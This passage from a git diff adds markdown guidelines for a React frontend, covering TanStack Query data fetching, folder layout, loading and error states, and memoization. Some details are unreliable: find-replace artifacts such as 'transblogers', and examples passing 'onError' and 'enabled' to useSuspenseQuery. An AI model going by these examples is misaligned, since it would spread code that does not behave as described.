</Box> + ); +}; + +// Usage with Suspense +<SuspenseLoader> + <UserProfile userId='123' /> +</SuspenseLoader> +``` + +### Example 2: Cache-First Strategy + +```typescript +import { useSuspenseQuery, useQueryClient } from '@tanstack/react-query'; +import { postApi } from '../api/postApi'; +import type { Post } from '../types'; + +/** + * Hook with cache-first strategy + * Checks grid cache before API call + */ +export function useSuspensePost(blogId: number, postId: number) { + const queryClient = useQueryClient(); + + return useSuspenseQuery<Post, Error>({ + queryKey: ['post', blogId, postId], + queryFn: async () => { + // 1. Check grid cache first + const gridCache = queryClient.getQueryData<{ rows: Post[] }>([ + 'posts-v2', + blogId, + 'summary' + ]) || queryClient.getQueryData<{ rows: Post[] }>([ + 'posts-v2', + blogId, + 'flat' + ]); + + if (gridCache?.rows) { + const cached = gridCache.rows.find(row => row.S_ID === postId); + if (cached) { + return cached; // Reuse grid data + } + } + + // 2. Not in cache, fetch directly + return postApi.getPost(blogId, postId); + }, + staleTime: 5 * 60 * 1000, + gcTime: 10 * 60 * 1000, + refetchOnWindowFocus: false, + }); +} +``` + +**Benefits:** +- Avoids duplicate API calls +- Instant data if already loaded +- Falls back to API if not cached + +### Example 3: Parallel Fetching + +```typescript +import { useSuspenseQueries } from '@tanstack/react-query'; + +export const Dashboard: React.FC = () => { + const [statsQuery, projectsQuery, notificationsQuery] = useSuspenseQueries({ + queries: [ + { + queryKey: ['stats'], + queryFn: () => statsApi.getStats(), + }, + { + queryKey: ['projects', 'active'], + queryFn: () => projectsApi.getActiveProjects(), + }, + { + queryKey: ['notifications', 'unread'], + queryFn: () => notificationsApi.getUnread(), + }, + ], + }); + + return ( + <Box> + <StatsCard data={statsQuery.data} /> + <ProjectsList projects={projectsQuery.data} /> + <Notifications items={notificationsQuery.data} /> + </Box> + ); +}; +``` + +--- + +## Mutations with Cache Invalidation + +### Update Mutation + +```typescript +import { useMutation, useQueryClient } from '@tanstack/react-query'; +import { postApi } from '../api/postApi'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +export const useUpdatePost = () => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + return useMutation({ + mutationFn: ({ blogId, postId, data }: UpdateParams) => + postApi.updatePost(blogId, postId, data), + + onSuccess: (data, variables) => { + // Invalidate specific post + queryClient.invalidateQueries({ + queryKey: ['post', variables.blogId, variables.postId] + }); + + // Invalidate list to refresh grid + queryClient.invalidateQueries({ + queryKey: ['posts-v2', variables.blogId] + }); + + showSuccess('Post updated'); + }, + + onError: (error) => { + showError('Failed to update post'); + console.error('Update error:', error); + }, + }); +}; + +// Usage +const updatePost = useUpdatePost(); + +const handleSave = () => { + updatePost.mutate({ + blogId: 123, + postId: 456, + data: { responses: { '101': 'value' } } + }); +}; +``` + +### Delete Mutation + +```typescript +export const useDeletePost = () => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + return useMutation({ + mutationFn: ({ blogId, postId }: DeleteParams) => + postApi.deletePost(blogId, postId), + + onSuccess: (data, variables) => { + // Remove from cache manually (optimistic) + queryClient.setQueryData<{ rows: Post[] }>( + ['posts-v2', variables.blogId], + (old) => ({ + ...old, + rows: old?.rows.filter(row => row.S_ID !== variables.postId) || [] + }) + ); + + showSuccess('Post deleted'); + }, + + onError: (error, variables) => { + // Rollback - refetch to get accurate state + queryClient.invalidateQueries({ + queryKey: ['posts-v2', variables.blogId] + }); + showError('Failed to delete post'); + }, + }); +}; +``` + +--- + +## Query Configuration Best Practices + +### Default Configuration + +```typescript +// In QueryClientProvider setup +const queryClient = new QueryClient({ + defaultOptions: { + queries: { + staleTime: 1000 * 60 * 5, // 5 minutes + gcTime: 1000 * 60 * 10, // 10 minutes (was cacheTime) + refetchOnWindowFocus: false, // Don't refetch on focus + refetchOnMount: false, // Don't refetch on mount if fresh + retry: 1, // Retry failed queries once + }, + }, +}); +``` + +### Per-Query Overrides + +```typescript +// Frequently changing data - shorter staleTime +useSuspenseQuery({ + queryKey: ['notifications', 'unread'], + queryFn: () => notificationApi.getUnread(), + staleTime: 30 * 1000, // 30 seconds +}); + +// Rarely changing data - longer staleTime +useSuspenseQuery({ + queryKey: ['form', blogId, 'structure'], + queryFn: () => formApi.getStructure(blogId), + staleTime: 30 * 60 * 1000, // 30 minutes +}); +``` + +--- + +## Summary + +**Modern Data Fetching Recipe:** + +1. **Create API Service**: `features/X/api/XApi.ts` using apiClient +2. **Use useSuspenseQuery**: In components wrapped by SuspenseLoader +3. **Cache-First**: Check grid cache before API call +4. **Query Keys**: Consistent naming ['entity', id] +5. **Route Format**: `/blog/route` NOT `/api/blog/route` +6. **Mutations**: invalidateQueries after success +7. **Error Handling**: onError + useMuiSnackbar +8. **Type Safety**: Type all parameters and returns + +**See Also:** +- [component-patterns.md](component-patterns.md) - Suspense integration +- [loading-and-error-states.md](loading-and-error-states.md) - SuspenseLoader usage +- [complete-examples.md](complete-examples.md) - Full working examples \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/file-organization.md b/skills/frontend-dev-guidelines/resources/file-organization.md new file mode 100644 index 00000000..79ff18d7 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/file-organization.md @@ -0,0 +1,502 @@ +# File Organization + +Proper file and directory structure for maintainable, scalable frontend code in the the application. + +--- + +## features/ vs components/ Distinction + +### features/ Directory + +**Purpose**: Domain-specific features with their own logic, API, and components + +**When to use:** +- Feature has multiple related components +- Feature has its own API endpoints +- Feature has domain-specific logic +- Feature has custom hooks/utilities + +**Examples:** +- `features/posts/` - Project catalog/post management +- `features/blogs/` - Blog builder and rendering +- `features/auth/` - Authentication flows + +**Structure:** +``` +features/ + my-feature/ + api/ + myFeatureApi.ts # API service layer + components/ + MyFeatureMain.tsx # Main component + SubComponents/ # Related components + hooks/ + useMyFeature.ts # Custom hooks + useSuspenseMyFeature.ts # Suspense hooks + helpers/ + myFeatureHelpers.ts # Utility functions + types/ + index.ts # TypeScript types + index.ts # Public exports +``` + +### components/ Directory + +**Purpose**: Truly reusable components used across multiple features + +**When to use:** +- Component is used in 3+ places +- Component is generic (no feature-specific logic) +- Component is a UI primitive or pattern + +**Examples:** +- `components/SuspenseLoader/` - Loading wrapper +- `components/CustomAppBar/` - Application header +- `components/ErrorBoundary/` - Error handling +- `components/LoadingOverlay/` - Loading overlay + +**Structure:** +``` +components/ + SuspenseLoader/ + SuspenseLoader.tsx + SuspenseLoader.test.tsx + CustomAppBar/ + CustomAppBar.tsx + CustomAppBar.test.tsx +``` + +--- + +## Feature Directory Structure (Detailed) + +### Complete Feature Example + +Based on `features/posts/` structure: + +``` +features/ + posts/ + api/ + postApi.ts # API service layer (GET, POST, PUT, DELETE) + + components/ + PostTable.tsx # Main container component + grids/ + PostDataGrid/ + PostDataGrid.tsx + drawers/ + ProjectPostDrawer/ + ProjectPostDrawer.tsx + cells/ + editors/ + TextEditCell.tsx + renderers/ + DateCell.tsx + toolbar/ + CustomToolbar.tsx + + hooks/ + usePostQueries.ts # Regular queries + useSuspensePost.ts # Suspense queries + usePostMutations.ts # Mutations + useGridLayout.ts # Feature-specific hooks + + helpers/ + postHelpers.ts # Utility functions + validation.ts # Validation logic + + types/ + index.ts # TypeScript types/interfaces + + queries/ + postQueries.ts # Query key factories (optional) + + context/ + PostContext.tsx # React context (if needed) + + index.ts # Public API exports +``` + +### Subdirectory Guidelines + +#### api/ Directory + +**Purpose**: Centralized API calls for the feature + +**Files:** +- `{feature}Api.ts` - Main API service + +**Pattern:** +```typescript +// features/my-feature/api/myFeatureApi.ts +import apiClient from '@/lib/apiClient'; + +export const myFeatureApi = { + getItem: async (id: number) => { + const { data } = await apiClient.get(`/blog/items/${id}`); + return data; + }, + createItem: async (payload) => { + const { data } = await apiClient.post('/blog/items', payload); + return data; + }, +}; +``` + +#### components/ Directory + +**Purpose**: Feature-specific components + +**Organization:** +- Flat structure if <5 components +- Subdirectories by responsibility if >5 components + +**Examples:** +``` +components/ + MyFeatureMain.tsx # Main component + MyFeatureHeader.tsx # Supporting components + MyFeatureFooter.tsx + + # OR with subdirectories: + containers/ + MyFeatureContainer.tsx + presentational/ + MyFeatureDisplay.tsx + blogs/ + MyFeatureBlog.tsx +``` + +#### hooks/ Directory + +**Purpose**: Custom hooks for the feature + +**Naming:** +- `use` prefix (camelCase) +- Descriptive of what they do + +**Examples:** +``` +hooks/ + useMyFeature.ts # Main hook + useSuspenseMyFeature.ts # Suspense version + useMyFeatureMutations.ts # Mutations + useMyFeatureFilters.ts # Filters/search +``` + +#### helpers/ Directory + +**Purpose**: Utility functions specific to the feature + +**Examples:** +``` +helpers/ + myFeatureHelpers.ts # General utilities + validation.ts # Validation logic + transblogers.ts # Data transblogations + constants.ts # Constants +``` + +#### types/ Directory + +**Purpose**: TypeScript types and interfaces + +**Files:** +``` +types/ + index.ts # Main types, exported + internal.ts # Internal types (not exported) +``` + +--- + +## Import Aliases (Vite Configuration) + +### Available Aliases + +From `vite.config.ts` lines 180-185: + +| Alias | Resolves To | Use For | +|-------|-------------|---------| +| `@/` | `src/` | Absolute imports from src root | +| `~types` | `src/types` | Shared TypeScript types | +| `~components` | `src/components` | Reusable components | +| `~features` | `src/features` | Feature imports | + +### Usage Examples + +```typescript +// ✅ PREFERRED - Use aliases for absolute imports +import { apiClient } from '@/lib/apiClient'; +import { SuspenseLoader } from '~components/SuspenseLoader'; +import { postApi } from '~features/posts/api/postApi'; +import type { User } from '~types/user'; + +// ❌ AVOID - Relative paths from deep nesting +import { apiClient } from '../../../lib/apiClient'; +import { SuspenseLoader } from '../../../components/SuspenseLoader'; +``` + +### When to Use Which Alias + +**@/ (General)**: +- Lib utilities: `@/lib/apiClient` +- Hooks: `@/hooks/useAuth` +- Config: `@/config/theme` +- Shared services: `@/services/authService` + +**~types (Type Imports)**: +```typescript +import type { Post } from '~types/post'; +import type { User, UserRole } from '~types/user'; +``` + +**~components (Reusable Components)**: +```typescript +import { SuspenseLoader } from '~components/SuspenseLoader'; +import { CustomAppBar } from '~components/CustomAppBar'; +import { ErrorBoundary } from '~components/ErrorBoundary'; +``` + +**~features (Feature Imports)**: +```typescript +import { postApi } from '~features/posts/api/postApi'; +import { useAuth } from '~features/auth/hooks/useAuth'; +``` + +--- + +## File Naming Conventions + +### Components + +**Pattern**: PascalCase with `.tsx` extension + +``` +MyComponent.tsx +PostDataGrid.tsx +CustomAppBar.tsx +``` + +**Avoid:** +- camelCase: `myComponent.tsx` ❌ +- kebab-case: `my-component.tsx` ❌ +- All caps: `MYCOMPONENT.tsx` ❌ + +### Hooks + +**Pattern**: camelCase with `use` prefix, `.ts` extension + +``` +useMyFeature.ts +useSuspensePost.ts +useAuth.ts +useGridLayout.ts +``` + +### API Services + +**Pattern**: camelCase with `Api` suffix, `.ts` extension + +``` +myFeatureApi.ts +postApi.ts +userApi.ts +``` + +### Helpers/Utilities + +**Pattern**: camelCase with descriptive name, `.ts` extension + +``` +myFeatureHelpers.ts +validation.ts +transblogers.ts +constants.ts +``` + +### Types + +**Pattern**: camelCase, `index.ts` or descriptive name + +``` +types/index.ts +types/post.ts +types/user.ts +``` + +--- + +## When to Create a New Feature + +### Create New Feature When: + +- Multiple related components (>3) +- Has own API endpoints +- Domain-specific logic +- Will grow over time +- Reused across multiple routes + +**Example:** `features/posts/` +- 20+ components +- Own API service +- Complex state management +- Used in multiple routes + +### Add to Existing Feature When: + +- Related to existing feature +- Shares same API +- Logically grouped +- Extends existing functionality + +**Example:** Adding export dialog to posts feature + +### Create Reusable Component When: + +- Used across 3+ features +- Generic, no domain logic +- Pure presentation +- Shared pattern + +**Example:** `components/SuspenseLoader/` + +--- + +## Import Organization + +### Import Order (Recommended) + +```typescript +// 1. React and React-related +import React, { useState, useCallback, useMemo } from 'react'; +import { lazy } from 'react'; + +// 2. Third-party libraries (alphabetical) +import { Box, Paper, Button, Grid } from '@mui/material'; +import type { SxProps, Theme } from '@mui/material'; +import { useSuspenseQuery, useQueryClient } from '@tanstack/react-query'; +import { createFileRoute } from '@tanstack/react-router'; + +// 3. Alias imports (@ first, then ~) +import { apiClient } from '@/lib/apiClient'; +import { useAuth } from '@/hooks/useAuth'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; +import { SuspenseLoader } from '~components/SuspenseLoader'; +import { postApi } from '~features/posts/api/postApi'; + +// 4. Type imports (grouped) +import type { Post } from '~types/post'; +import type { User } from '~types/user'; + +// 5. Relative imports (same feature) +import { MySubComponent } from './MySubComponent'; +import { useMyFeature } from '../hooks/useMyFeature'; +import { myFeatureHelpers } from '../helpers/myFeatureHelpers'; +``` + +**Use single quotes** for all imports (project standard) + +--- + +## Public API Pattern + +### feature/index.ts + +Export public API from feature for clean imports: + +```typescript +// features/my-feature/index.ts + +// Export main components +export { MyFeatureMain } from './components/MyFeatureMain'; +export { MyFeatureHeader } from './components/MyFeatureHeader'; + +// Export hooks +export { useMyFeature } from './hooks/useMyFeature'; +export { useSuspenseMyFeature } from './hooks/useSuspenseMyFeature'; + +// Export API +export { myFeatureApi } from './api/myFeatureApi'; + +// Export types +export type { MyFeatureData, MyFeatureConfig } from './types'; +``` + +**Usage:** +```typescript +// ✅ Clean import from feature index +import { MyFeatureMain, useMyFeature } from '~features/my-feature'; + +// ❌ Avoid deep imports (but OK if needed) +import { MyFeatureMain } from '~features/my-feature/components/MyFeatureMain'; +``` + +--- + +## Directory Structure Visualization + +``` +src/ +├── features/ # Domain-specific features +│ ├── posts/ +│ │ ├── api/ +│ │ ├── components/ +│ │ ├── hooks/ +│ │ ├── helpers/ +│ │ ├── types/ +│ │ └── index.ts +│ ├── blogs/ +│ └── auth/ +│ +├── components/ # Reusable components +│ ├── SuspenseLoader/ +│ ├── CustomAppBar/ +│ ├── ErrorBoundary/ +│ └── LoadingOverlay/ +│ +├── routes/ # TanStack Router routes +│ ├── __root.tsx +│ ├── index.tsx +│ ├── project-catalog/ +│ │ ├── index.tsx +│ │ └── create/ +│ └── blogs/ +│ +├── hooks/ # Shared hooks +│ ├── useAuth.ts +│ ├── useMuiSnackbar.ts +│ └── useDebounce.ts +│ +├── lib/ # Shared utilities +│ ├── apiClient.ts +│ └── utils.ts +│ +├── types/ # Shared TypeScript types +│ ├── user.ts +│ ├── post.ts +│ └── common.ts +│ +├── config/ # Configuration +│ └── theme.ts +│ +└── App.tsx # Root component +``` + +--- + +## Summary + +**Key Principles:** +1. **features/** for domain-specific code +2. **components/** for truly reusable UI +3. Use subdirectories: api/, components/, hooks/, helpers/, types/ +4. Import aliases for clean imports (@/, ~types, ~components, ~features) +5. Consistent naming: PascalCase components, camelCase utilities +6. Export public API from feature index.ts + +**See Also:** +- [component-patterns.md](component-patterns.md) - Component structure +- [data-fetching.md](data-fetching.md) - API service patterns +- [complete-examples.md](complete-examples.md) - Full feature example \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/loading-and-error-states.md b/skills/frontend-dev-guidelines/resources/loading-and-error-states.md new file mode 100644 index 00000000..441f225a --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/loading-and-error-states.md @@ -0,0 +1,501 @@ +# Loading & Error States + +**CRITICAL**: Proper loading and error state handling prevents layout shift and provides better user experience. + +--- + +## ⚠️ CRITICAL RULE: Never Use Early Returns + +### The Problem + +```typescript +// ❌ NEVER DO THIS - Early return with loading spinner +const Component = () => { + const { data, isLoading } = useQuery(); + + // WRONG: This causes layout shift and poor UX + if (isLoading) { + return <LoadingSpinner />; + } + + return <Content data={data} />; +}; +``` + +**Why this is bad:** +1. **Layout Shift**: Content position jumps when loading completes +2. **CLS (Cumulative Layout Shift)**: Poor Core Web Vital score +3. **Jarring UX**: Page structure changes suddenly +4. **Lost Scroll Position**: User loses place on page + +### The Solutions + +**Option 1: SuspenseLoader (PREFERRED for new components)** + +```typescript +import { SuspenseLoader } from '~components/SuspenseLoader'; + +const HeavyComponent = React.lazy(() => import('./HeavyComponent')); + +export const MyComponent: React.FC = () => { + return ( + <SuspenseLoader> + <HeavyComponent /> + </SuspenseLoader> + ); +}; +``` + +**Option 2: LoadingOverlay (for legacy useQuery patterns)** + +```typescript +import { LoadingOverlay } from '~components/LoadingOverlay'; + +export const MyComponent: React.FC = () => { + const { data, isLoading } = useQuery({ ... }); + + return ( + <LoadingOverlay loading={isLoading}> + <Content data={data} /> + </LoadingOverlay> + ); +}; +``` + +--- + +## SuspenseLoader Component + +### What It Does + +- Shows loading indicator while lazy components load +- Smooth fade-in animation +- Prevents layout shift +- Consistent loading experience across app + +### Import + +```typescript +import { SuspenseLoader } from '~components/SuspenseLoader'; +// Or +import { SuspenseLoader } from '@/components/SuspenseLoader'; +``` + +### Basic Usage + +```typescript +<SuspenseLoader> + <LazyLoadedComponent /> +</SuspenseLoader> +``` + +### With useSuspenseQuery + +```typescript +import { useSuspenseQuery } from '@tanstack/react-query'; +import { SuspenseLoader } from '~components/SuspenseLoader'; + +const Inner: React.FC = () => { + // No isLoading needed! + const { data } = useSuspenseQuery({ + queryKey: ['data'], + queryFn: () => api.getData(), + }); + + return <Display data={data} />; +}; + +// Outer component wraps in Suspense +export const Outer: React.FC = () => { + return ( + <SuspenseLoader> + <Inner /> + </SuspenseLoader> + ); +}; +``` + +### Multiple Suspense Boundaries + +**Pattern**: Separate loading for independent sections + +```typescript +export const Dashboard: React.FC = () => { + return ( + <Box> + <SuspenseLoader> + <Header /> + </SuspenseLoader> + + <SuspenseLoader> + <MainContent /> + </SuspenseLoader> + + <SuspenseLoader> + <Sidebar /> + </SuspenseLoader> + </Box> + ); +}; +``` + +**Benefits:** +- Each section loads independently +- User sees partial content sooner +- Better perceived performance + +### Nested Suspense + +```typescript +export const ParentComponent: React.FC = () => { + return ( + <SuspenseLoader> + {/* Parent suspends while loading */} + <ParentContent> + <SuspenseLoader> + {/* Nested suspense for child */} + <ChildComponent /> + </SuspenseLoader> + </ParentContent> + </SuspenseLoader> + ); +}; +``` + +--- + +## LoadingOverlay Component + +### When to Use + +- Legacy components with `useQuery` (not refactored to Suspense yet) +- Overlay loading state needed +- Can't use Suspense boundaries + +### Usage + +```typescript +import { LoadingOverlay } from '~components/LoadingOverlay'; + +export const MyComponent: React.FC = () => { + const { data, isLoading } = useQuery({ + queryKey: ['data'], + queryFn: () => api.getData(), + }); + + return ( + <LoadingOverlay loading={isLoading}> + <Box sx={{ p: 2 }}> + {data && <Content data={data} />} + </Box> + </LoadingOverlay> + ); +}; +``` + +**What it does:** +- Shows semi-transparent overlay with spinner +- Content area reserved (no layout shift) +- Prevents interaction while loading + +--- + +## Error Handling + +### useMuiSnackbar Hook (REQUIRED) + +**NEVER use react-toastify** - Project standard is MUI Snackbar + +```typescript +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +export const MyComponent: React.FC = () => { + const { showSuccess, showError, showInfo, showWarning } = useMuiSnackbar(); + + const handleAction = async () => { + try { + await api.doSomething(); + showSuccess('Operation completed successfully'); + } catch (error) { + showError('Operation failed'); + } + }; + + return <Button onClick={handleAction}>Do Action</Button>; +}; +``` + +**Available Methods:** +- `showSuccess(message)` - Green success message +- `showError(message)` - Red error message +- `showWarning(message)` - Orange warning message +- `showInfo(message)` - Blue info message + +### TanStack Query Error Callbacks + +```typescript +import { useSuspenseQuery } from '@tanstack/react-query'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; + +export const MyComponent: React.FC = () => { + const { showError } = useMuiSnackbar(); + + const { data } = useSuspenseQuery({ + queryKey: ['data'], + queryFn: () => api.getData(), + + // Handle errors + onError: (error) => { + showError('Failed to load data'); + console.error('Query error:', error); + }, + }); + + return <Content data={data} />; +}; +``` + +### Error Boundaries + +```typescript +import { ErrorBoundary } from 'react-error-boundary'; + +function ErrorFallback({ error, resetErrorBoundary }) { + return ( + <Box sx={{ p: 4, textAlign: 'center' }}> + <Typography variant='h5' color='error'> + Something went wrong + </Typography> + <Typography>{error.message}</Typography> + <Button onClick={resetErrorBoundary}>Try Again</Button> + </Box> + ); +} + +export const MyPage: React.FC = () => { + return ( + <ErrorBoundary + FallbackComponent={ErrorFallback} + onError={(error) => console.error('Boundary caught:', error)} + > + <SuspenseLoader> + <ComponentThatMightError /> + </SuspenseLoader> + </ErrorBoundary> + ); +}; +``` + +--- + +## Complete Examples + +### Example 1: Modern Component with Suspense + +```typescript +import React from 'react'; +import { Box, Paper } from '@mui/material'; +import { useSuspenseQuery } from '@tanstack/react-query'; +import { SuspenseLoader } from '~components/SuspenseLoader'; +import { myFeatureApi } from '../api/myFeatureApi'; + +// Inner component uses useSuspenseQuery +const InnerComponent: React.FC<{ id: number }> = ({ id }) => { + const { data } = useSuspenseQuery({ + queryKey: ['entity', id], + queryFn: () => myFeatureApi.getEntity(id), + }); + + // data is always defined - no isLoading needed! + return ( + <Paper sx={{ p: 2 }}> + <h2>{data.title}</h2> + <p>{data.description}</p> + </Paper> + ); +}; + +// Outer component provides Suspense boundary +export const OuterComponent: React.FC<{ id: number }> = ({ id }) => { + return ( + <Box> + <SuspenseLoader> + <InnerComponent id={id} /> + </SuspenseLoader> + </Box> + ); +}; + +export default OuterComponent; +``` + +### Example 2: Legacy Pattern with LoadingOverlay + +```typescript +import React from 'react'; +import { Box } from '@mui/material'; +import { useQuery } from '@tanstack/react-query'; +import { LoadingOverlay } from '~components/LoadingOverlay'; +import { myFeatureApi } from '../api/myFeatureApi'; + +export const LegacyComponent: React.FC<{ id: number }> = ({ id }) => { + const { data, isLoading, error } = useQuery({ + queryKey: ['entity', id], + queryFn: () => myFeatureApi.getEntity(id), + }); + + return ( + <LoadingOverlay loading={isLoading}> + <Box sx={{ p: 2 }}> + {error && <ErrorDisplay error={error} />} + {data && <Content data={data} />} + </Box> + </LoadingOverlay> + ); +}; +``` + +### Example 3: Error Handling with Snackbar + +```typescript +import React from 'react'; +import { useSuspenseQuery, useMutation, useQueryClient } from '@tanstack/react-query'; +import { Button } from '@mui/material'; +import { useMuiSnackbar } from '@/hooks/useMuiSnackbar'; +import { myFeatureApi } from '../api/myFeatureApi'; + +export const EntityEditor: React.FC<{ id: number }> = ({ id }) => { + const queryClient = useQueryClient(); + const { showSuccess, showError } = useMuiSnackbar(); + + const { data } = useSuspenseQuery({ + queryKey: ['entity', id], + queryFn: () => myFeatureApi.getEntity(id), + onError: () => { + showError('Failed to load entity'); + }, + }); + + const updateMutation = useMutation({ + mutationFn: (updates) => myFeatureApi.update(id, updates), + + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['entity', id] }); + showSuccess('Entity updated successfully'); + }, + + onError: () => { + showError('Failed to update entity'); + }, + }); + + return ( + <Button onClick={() => updateMutation.mutate({ name: 'New' })}> + Update + </Button> + ); +}; +``` + +--- + +## Loading State Anti-Patterns + +### ❌ What NOT to Do + +```typescript +// ❌ NEVER - Early return +if (isLoading) { + return <CircularProgress />; +} + +// ❌ NEVER - Conditional rendering +{isLoading ? <Spinner /> : <Content />} + +// ❌ NEVER - Layout changes +if (isLoading) { + return ( + <Box sx={{ height: 100 }}> + <Spinner /> + </Box> + ); +} +return ( + <Box sx={{ height: 500 }}> // Different height! + <Content /> + </Box> +); +``` + +### ✅ What TO Do + +```typescript +// ✅ BEST - useSuspenseQuery + SuspenseLoader +<SuspenseLoader> + <ComponentWithSuspenseQuery /> +</SuspenseLoader> + +// ✅ ACCEPTABLE - LoadingOverlay +<LoadingOverlay loading={isLoading}> + <Content /> +</LoadingOverlay> + +// ✅ OK - Inline skeleton with same layout +<Box sx={{ height: 500 }}> + {isLoading ? <Skeleton variant='rectangular' height='100%' /> : <Content />} +</Box> +``` + +--- + +## Skeleton Loading (Alternative) + +### MUI Skeleton Component + +```typescript +import { Skeleton, Box } from '@mui/material'; + +export const MyComponent: React.FC = () => { + const { data, isLoading } = useQuery({ ... }); + + return ( + <Box sx={{ p: 2 }}> + {isLoading ? ( + <> + <Skeleton variant='text' width={200} height={40} /> + <Skeleton variant='rectangular' width='100%' height={200} /> + <Skeleton variant='text' width='100%' /> + </> + ) : ( + <> + <Typography variant='h5'>{data.title}</Typography> + <img src={data.image} /> + <Typography>{data.description}</Typography> + </> + )} + </Box> + ); +}; +``` + +**Key**: Skeleton must have **same layout** as actual content (no shift) + +--- + +## Summary + +**Loading States:** +- ✅ **PREFERRED**: SuspenseLoader + useSuspenseQuery (modern pattern) +- ✅ **ACCEPTABLE**: LoadingOverlay (legacy pattern) +- ✅ **OK**: Skeleton with same layout +- ❌ **NEVER**: Early returns or conditional layout + +**Error Handling:** +- ✅ **ALWAYS**: useMuiSnackbar for user feedback +- ❌ **NEVER**: react-toastify +- ✅ Use onError callbacks in queries/mutations +- ✅ Error boundaries for component-level errors + +**See Also:** +- [component-patterns.md](component-patterns.md) - Suspense integration +- [data-fetching.md](data-fetching.md) - useSuspenseQuery details \ No newline at end of file diff --git a/skills/frontend-dev-guidelines/resources/performance.md b/skills/frontend-dev-guidelines/resources/performance.md new file mode 100644 index 00000000..ec67bb80 --- /dev/null +++ b/skills/frontend-dev-guidelines/resources/performance.md @@ -0,0 +1,406 @@ +# Performance Optimization + +Patterns for optimizing React component performance, preventing unnecessary re-renders, and avoiding memory leaks. + +--- + +## Memoization Patterns + +### useMemo for Expensive Computations + +```typescript +import { useMemo } from 'react'; + +export const DataDisplay: React.FC<{ items: Item[], searchTerm: string }> = ({ + items, + searchTerm, +}) => { + // ❌ AVOID - Runs on every render + const filteredItems = items + .filter(item => item.name.includes(searchTerm)) + .sort((a, b) => a.name.localeCompare(b.name)); + + // ✅ CORRECT - Memoized, only recalculates when dependencies change + const filteredItems = useMemo(() => { + return items + .filter(item => item.name.toLowerCase().includes(searchTerm.toLowerCase())) + .sort((a, b) => a.name.localeCompare(b.name)); + }, [items, searchTerm]); + + return <List items={filteredItems} />; +}; +``` + +**When to use useMemo:** +- Filtering/sorting large arrays +- Complex calculations +- Transforming data structures +- Expensive computations (loops, recursion) + +**When NOT to use useMemo:** +- Simple string concatenation +- Basic arithmetic +- Premature optimization (profile first!) + +--- + +## useCallback for Event Handlers + +### The Problem + +```typescript +// ❌ AVOID - Creates new function on every render +export const Parent: React.FC = () => { + const handleClick = (id: string) => { + console.log('Clicked:', id); + }; + + // Child re-renders every time Parent renders + // because handleClick is a new function reference each time + return <Child onClick={handleClick} />; +}; +``` + +### The Solution + +```typescript +import { useCallback } from 'react'; + +export const Parent: React.FC = () => { + // ✅ CORRECT - Stable function reference + const handleClick = useCallback((id: string) => { + console.log('Clicked:', id); + }, []); // Empty deps = function never changes + + // Child only re-renders when props actually change + return <Child onClick={handleClick} />; +}; +``` + +**When to use useCallback:** +- Functions passed as props to children +- Functions used as dependencies in useEffect +- Functions passed to memoized components +- Event handlers in lists + +**When NOT to use useCallback:** +- Event handlers not passed to children +- Simple inline handlers: `onClick={() => doSomething()}` + +--- + +## React.memo for Component Memoization + +### Basic Usage + +```typescript +import React from 'react'; + +interface ExpensiveComponentProps { + data: ComplexData; + onAction: () => void; +} + +// ✅ Wrap expensive components in React.memo +export const ExpensiveComponent = React.memo<ExpensiveComponentProps>( + function ExpensiveComponent({ data, onAction }) { + // Complex rendering logic + return <ComplexVisualization data={data} />; + } +); +``` + +**When to use React.memo:** +- Component renders frequently +- Component has expensive rendering +- Props don't change often +- Component is a list item +- DataGrid cells/renderers + +**When NOT to use React.memo:** +- Props change frequently anyway +- Rendering is already fast +- Premature optimization + +--- + +## Debounced Search + +### Using use-debounce Hook + +```typescript +import { useState } from 'react'; +import { useDebounce } from 'use-debounce'; +import { useSuspenseQuery } from '@tanstack/react-query'; + +export const SearchComponent: React.FC = () => { + const [searchTerm, setSearchTerm] = useState(''); + + // Debounce for 300ms + const [debouncedSearchTerm] = useDebounce(searchTerm, 300); + + // Query uses debounced value + const { data } = useSuspenseQuery({ + queryKey: ['search', debouncedSearchTerm], + queryFn: () => api.search(debouncedSearchTerm), + enabled: debouncedSearchTerm.length > 0, + }); + + return ( + <input + value={searchTerm} + onChange={(e) => setSearchTerm(e.target.value)} + placeholder='Search...' + /> + ); +}; +``` + +**Optimal Debounce Timing:** +- **300-500ms**: Search/filtering +- **1000ms**: Auto-save +- **100-200ms**: Real-time validation + +--- + +## Memory Leak Prevention + +### Cleanup Timeouts/Intervals + +```typescript +import { useEffect, useState } from 'react'; + +export const MyComponent: React.FC = () => { + const [count, setCount] = useState(0); + + useEffect(() => { + // ✅ CORRECT - Cleanup interval + const intervalId = setInterval(() => { + setCount(c => c + 1); + }, 1000); + + return () => { + clearInterval(intervalId); // Cleanup! + }; + }, []); + + useEffect(() => { + // ✅ CORRECT - Cleanup timeout + const timeoutId = setTimeout(() => { + console.log('Delayed action'); + }, 5000); + + return () => { + clearTimeout(timeoutId); // Cleanup! + }; + }, []); + + return <div>{count}</div>; +}; +``` + +### Cleanup Event Listeners + +```typescript +useEffect(() => { + const handleResize = () => { + console.log('Resized'); + }; + + window.addEventListener('resize', handleResize); + + return () => { + window.removeEventListener('resize', handleResize); // Cleanup! + }; +}, []); +``` + +### Abort Controllers for Fetch + +```typescript +useEffect(() => { + const abortController = new AbortController(); + + fetch('/api/data', { signal: abortController.signal }) + .then(response => response.json()) + .then(data => setState(data)) + .catch(error => { + if (error.name === 'AbortError') { + console.log('Fetch aborted'); + } + }); + + return () => { + abortController.abort(); // Cleanup! + }; +}, []); +``` + +**Note**: With TanStack Query, this is handled automatically. + +--- + +## Form Performance + +### Watch Specific Fields (Not All) + +```typescript +import { useForm } from 'react-hook-form'; + +export const MyForm: React.FC = () => { + const { register, watch, handleSubmit } = useForm(); + + // ❌ AVOID - Watches all fields, re-renders on any change + const formValues = watch(); + + // ✅ CORRECT - Watch only what you need + const username = watch('username'); + const email = watch('email'); + + // Or multiple specific fields + const [username, email] = watch(['username', 'email']); + + return ( + <form 